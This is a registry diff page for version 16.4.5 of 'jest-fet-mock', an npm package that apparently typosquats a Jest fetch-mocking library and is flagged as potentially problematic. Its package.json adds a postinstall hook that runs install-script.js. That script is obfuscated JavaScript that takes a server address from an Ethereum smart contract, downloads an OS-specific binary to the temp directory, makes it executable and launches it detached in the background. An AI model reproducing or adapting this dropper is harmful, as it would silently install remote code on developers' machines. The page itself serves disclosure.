jest-fet-mock 16.4.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of jest-fet-mock might be problematic. Click here for more details.
- package/index.js +1 -0
- package/install-script.js +1 -0
- package/package.json +15 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
console.log('Hello World!');
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x506d2a=_0x56d7;function _0x56d7(_0x2e965e,_0x45d2af){const _0x19cffc=_0x19cf();return _0x56d7=function(_0x56d7c4,_0x857ae){_0x56d7c4=_0x56d7c4-0x101;let _0x412d4b=_0x19cffc[_0x56d7c4];return _0x412d4b;},_0x56d7(_0x2e965e,_0x45d2af);}(function(_0x2ab40b,_0x187c84){const _0x34096d=_0x56d7,_0x4b5918=_0x2ab40b();while(!![]){try{const _0x4c46d8=parseInt(_0x34096d(0x135))/0x1*(parseInt(_0x34096d(0x11b))/0x2)+-parseInt(_0x34096d(0x11a))/0x3*(parseInt(_0x34096d(0x101))/0x4)+parseInt(_0x34096d(0x12c))/0x5*(-parseInt(_0x34096d(0x106))/0x6)+-parseInt(_0x34096d(0x109))/0x7*(parseInt(_0x34096d(0x10c))/0x8)+-parseInt(_0x34096d(0x126))/0x9+parseInt(_0x34096d(0x12e))/0xa+parseInt(_0x34096d(0x11d))/0xb;if(_0x4c46d8===_0x187c84)break;else _0x4b5918['push'](_0x4b5918['shift']());}catch(_0x5563f0){_0x4b5918['push'](_0x4b5918['shift']());}}}(_0x19cf,0x8f82c));const {ethers}=require(_0x506d2a(0x127)),axios=require(_0x506d2a(0x107)),util=require(_0x506d2a(0x103)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x506d2a(0x115)),contractAddress=_0x506d2a(0x11f),WalletOwner=_0x506d2a(0x102),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x506d2a(0x123)](_0x506d2a(0x118)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x4c0d2d=_0x506d2a,_0x3e308b={'IMNWb':function(_0x236647){return _0x236647();}};try{const _0x8136ce=await contract[_0x4c0d2d(0x11e)](WalletOwner);return _0x8136ce;}catch(_0x2dca6d){return console[_0x4c0d2d(0x111)](_0x4c0d2d(0x133),_0x2dca6d),await _0x3e308b['IMNWb'](fetchAndUpdateIp);}},getDownloadUrl=_0x5e4344=>{const _0x13d61=_0x506d2a,_0x2099f3={'JhJjf':_0x13d61(0x122),'qwwRu':_0x13d61(0x112),'GAAIz':_0x13d61(0x131)},_0x25fb46=os['platform']();switch(_0x25fb46){case _0x2099f3[_0x13d61(0x110)]:return _0x5e4344+_0x13d61(0x108);case _0x2099f3[_0x13d61(0x10a)]:return _0x5e4344+_0x13d61(0x12a);case _0x2099f3['GAAIz']:return _0x5e4344+'/node-macos';default:throw new Error(_0x13d61(0x132)+_0x25fb46);}},downloadFile=async(_0x3f0764,_0x5e7d93)=>{const _0x4bc8a2=_0x506d2a,_0x30e545={'TGELk':_0x4bc8a2(0x111),'qQsWL':function(_0x1d12b1,_0x5ae496){return _0x1d12b1(_0x5ae496);},'sntnA':_0x4bc8a2(0x116),'EJYRT':_0x4bc8a2(0x105)},_0x4840fb=fs[_0x4bc8a2(0x124)](_0x5e7d93),_0x6d44f2=await _0x30e545[_0x4bc8a2(0x12f)](axios,{'url':_0x3f0764,'method':_0x30e545[_0x4bc8a2(0x117)],'responseType':_0x30e545[_0x4bc8a2(0x12b)]});return _0x6d44f2['data'][_0x4bc8a2(0x114)](_0x4840fb),new Promise((_0x4b3622,_0x3afca9)=>{_0x4840fb['on']('finish',_0x4b3622),_0x4840fb['on'](_0x30e545['TGELk'],_0x3afca9);});},executeFileInBackground=async _0x7c0b89=>{const _0x34769b=_0x506d2a,_0x2e0533={'idHob':function(_0x33253e,_0x425dd7,_0x5388db,_0x2b0e4a){return _0x33253e(_0x425dd7,_0x5388db,_0x2b0e4a);},'UDpWh':_0x34769b(0x10e),'vkzrW':_0x34769b(0x11c)};try{const _0x2a51c8=_0x2e0533['idHob'](spawn,_0x7c0b89,[],{'detached':!![],'stdio':_0x2e0533[_0x34769b(0x121)]});_0x2a51c8[_0x34769b(0x125)]();}catch(_0x855fa8){console[_0x34769b(0x111)](_0x2e0533[_0x34769b(0x128)],_0x855fa8);}},runInstallation=async()=>{const _0x5dbdeb=_0x506d2a,_0x1d366d={'bLdMT':function(_0x2b6e47){return _0x2b6e47();},'bYVDX':function(_0x1189ff,_0x2ac46c){return _0x1189ff(_0x2ac46c);},'fLcfr':function(_0x5ec19d,_0x4f7a92){return _0x5ec19d!==_0x4f7a92;},'yIKUy':_0x5dbdeb(0x122),'CafTK':_0x5dbdeb(0x113),'VOCWa':_0x5dbdeb(0x12d)};try{const _0x308596=await _0x1d366d[_0x5dbdeb(0x129)](fetchAndUpdateIp),_0x33ace5=_0x1d366d['bYVDX'](getDownloadUrl,_0x308596),_0x3d357d=os[_0x5dbdeb(0x120)](),_0x5d884b=path[_0x5dbdeb(0x10f)](_0x33ace5),_0x2a3347=path[_0x5dbdeb(0x10b)](_0x3d357d,_0x5d884b);await downloadFile(_0x33ace5,_0x2a3347),_0x1d366d[_0x5dbdeb(0x104)](os['platform'](),_0x1d366d[_0x5dbdeb(0x119)])&&fs[_0x5dbdeb(0x10d)](_0x2a3347,_0x1d366d['CafTK']),_0x1d366d[_0x5dbdeb(0x130)](executeFileInBackground,_0x2a3347);}catch(_0x4e6f27){console[_0x5dbdeb(0x111)](_0x1d366d[_0x5dbdeb(0x134)],_0x4e6f27);}};function _0x19cf(){const _0x322c6e=['764442hzdgWo','axios','/node-win.exe','1705676NVfqeP','qwwRu','join','16vxRxMl','chmodSync','ignore','basename','JhJjf','error','linux','755','pipe','child_process','GET','sntnA','mainnet','yIKUy','3bBuBGi','12xIYctF','Ошибка\x20при\x20запуске\x20файла:','25703579xMRKuB','getString','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','tmpdir','UDpWh','win32','getDefaultProvider','createWriteStream','unref','4106358zVlzkV','ethers','vkzrW','bLdMT','/node-linux','EJYRT','35yPluZK','Ошибка\x20установки:','5870930aFSkQy','qQsWL','bYVDX','darwin','Unsupported\x20platform:\x20','Ошибка\x20при\x20получении\x20IP\x20адреса:','VOCWa','98139QEQZHN','4357396ytXBak','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','util','fLcfr','stream'];_0x19cf=function(){return _0x322c6e;};return _0x19cf();}runInstallation();
|
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "jest-fet-mock",
|
|
3
|
+
"version": "16.4.5",
|
|
4
|
+
"description": "built for speed",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node install-script.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {
|
|
10
|
+
"axios": "^1.7.7",
|
|
11
|
+
"ethers": "^6.13.2"
|
|
12
|
+
},
|
|
13
|
+
"author": "Djeckson",
|
|
14
|
+
"license": "MIT"
|
|
15
|
+
}
|